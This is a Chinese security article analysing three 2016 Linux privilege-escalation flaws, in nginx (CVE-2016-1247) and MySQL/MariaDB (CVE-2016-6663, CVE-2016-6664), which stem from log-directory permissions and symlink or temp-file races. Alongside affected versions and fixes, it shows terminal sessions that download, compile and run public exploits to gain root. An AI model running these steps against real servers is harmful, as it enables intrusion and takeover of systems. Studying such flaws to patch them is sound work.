频道栏目
首页 > 资讯 > 系统安全 > 正文

Linux应用权限不当可提权系列漏洞分析

16-11-30        来源:[db:作者]  
收藏   我要投稿

linux以强大的文件管理系统著称,在实际使用中,虽然能为工作提供极大便利,然而如果权限处理不当,可能会造成一定的安全风险,如在操作文件时,会改变某些文件夹的权限,当利用一些可以随意穿越的符号链接时,可以使相应文件指向系统文件,越权修改系统文件权限,攻击者利用此原理,劫持so库,或修改启动定时脚本,从而提权。

案例

Nginx CVE-2016-1247

影响版本

Debian*

漏洞原理

Debian* 默认apt-get 安装的nginx 会把日志目录的所有者设置为 www-data

1 2 yaseng@ubuntu:/tmp$ ls -ld /var/log/nginx/ drwxr-x--- 2 www-data adm 4096 Nov 21 17:42 /var/log/nginx/

攻击者可以把目录下的日志文件修改为一个符号链接,指向一个没有权限写的文件,例如

/etc/ld.so.preload(共享库),当nginx 重启时会修改/etc/ld.so.preload

权限为 www-data ,这样就可以劫持环境提权到 root 。

nginx 有一个定时脚本(/etc/logrotate.d/nginx)每天 6:25 会重启 ,并且重新设置日志权限 ,只需写一个脚本监听 /etc/ld.so.preload 是否可写然后覆盖一个提权的 so 文件进去即可。

漏洞测试

环境: Ubuntu 15.04

exiloit : http://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

安装 sudo apt-get install nginx

提权

1 2 3 4 5 6 7 www-data@ubuntu:/tmp$ pwd /tmp www-data@ubuntu:/tmp$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@ubuntu:/tmp$ file 4.sh 4.sh: Bourne-Again shell script, ASCII text executable www-data@ubuntu:/tmp$ ./4.sh /var/log/nginx/error.log

等待nginx 重启,获取root权限

nginx_1

漏洞修复

修改日志权限为 root 。

MySQL CVE-2016-6663

影响版本

MariaDB

< 5.5.52

< 10.1.18

< 10.0.28

MySQL

<= 5.5.51

<= 5.6.32

<= 5.7.14

Percona Server

< 5.5.51–38.2

< 5.6.32–78–1

< 5.7.14–8

Percona XtraDB Cluster

< 5.6.32–25.17

< 5.7.14–26.17

< 5.5.41–37.0

漏洞原理

MySQL以及其衍生版本在执行修复表( repair table xxx)业务时会产生一个临时文件 xxx.TMD,赋予 xxx.TMD 一个 mysql user 权限的SUID,由于MySQL的数据文件夹是可控的,如在赋予权限之前替换掉 TMD 文件(例如 /bin/bash/),就可以获得 mysql-suid 交互式shell 。从web 权限提升到 mysql user。
[page]

漏洞测试

环境: Ubuntu 15.04 Mysql 5.6.28

exploit:http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c

执行

1 2 3 4 5 yaseng@ubuntu:/tmp$ sudo apt-get install mysql-server mysql-client yaseng@ubuntu:/tmp$ sudo service mysqld restart yaseng@ubuntu:/tmp$ wget http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c yaseng@ubuntu:/tmp$ gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient yaseng@ubuntu:/tmp$ ./mysql-privesc-race test test localhost test

截图

mysql_1

漏洞修复

https://github.com/mysql/mysql-server/commit/4e5473862e6852b0f3802b0cd0c6fa10b5253291

MySQL CVE-2016-6664

影响版本

MySQL

<= 5.5.51

<= 5.6.32

<= 5.7.14

MariaDB

All current

Percona Server

< 5.5.51–38.2

< 5.6.32–78–1

< 5.7.14–8

Percona XtraDB Cluster

< 5.6.32–25.17

< 5.7.14–26.17

< 5.5.41–37.0

漏洞原理

同 nginx 提权相似,MySQL 日志目录/var/log/mysql 权限为 mysql 。当以mysqld_safe 启动时。会执行脚本

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 --------[ mysqld_safe ]-------- [...] while true do rm -f "$pid_file" # Some extra safety start_time=`date +%M%S` eval_log_error "$cmd" if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then touch "$err_log" # hypothetical: log was renamed but not chown $user "$err_log" # flushed yet. we'd recreate it with chmod "$fmode" "$err_log" # wrong owner next time we log, so set fi # it up correctly while we can! [...] -------------------------------

当利用CVE-2016-6663 获取到一个mysql user ,可以直接kill mysqld 从而触发脚本,两个漏洞结合可以从webshell 直接提升到Linux root 。

漏洞测试

环境: Ubuntu 15.04 Mysql 5.6.28

exploit:http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html

如图

mysql_2

漏洞修复

修改日志权限为 root 。

总结

可以在源码和脚本中找chmod 关键词发现类似的漏洞,利用符号链接和 so 共享库劫持提权也值得学习。

相关TAG标签
上一篇:Uber修复三个漏洞,白帽子获数千美金奖励(含漏洞分析)
下一篇:系统安全之“优雅”的Linux漏洞:用罕见方式绕过ASLR和DEP保护机制
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站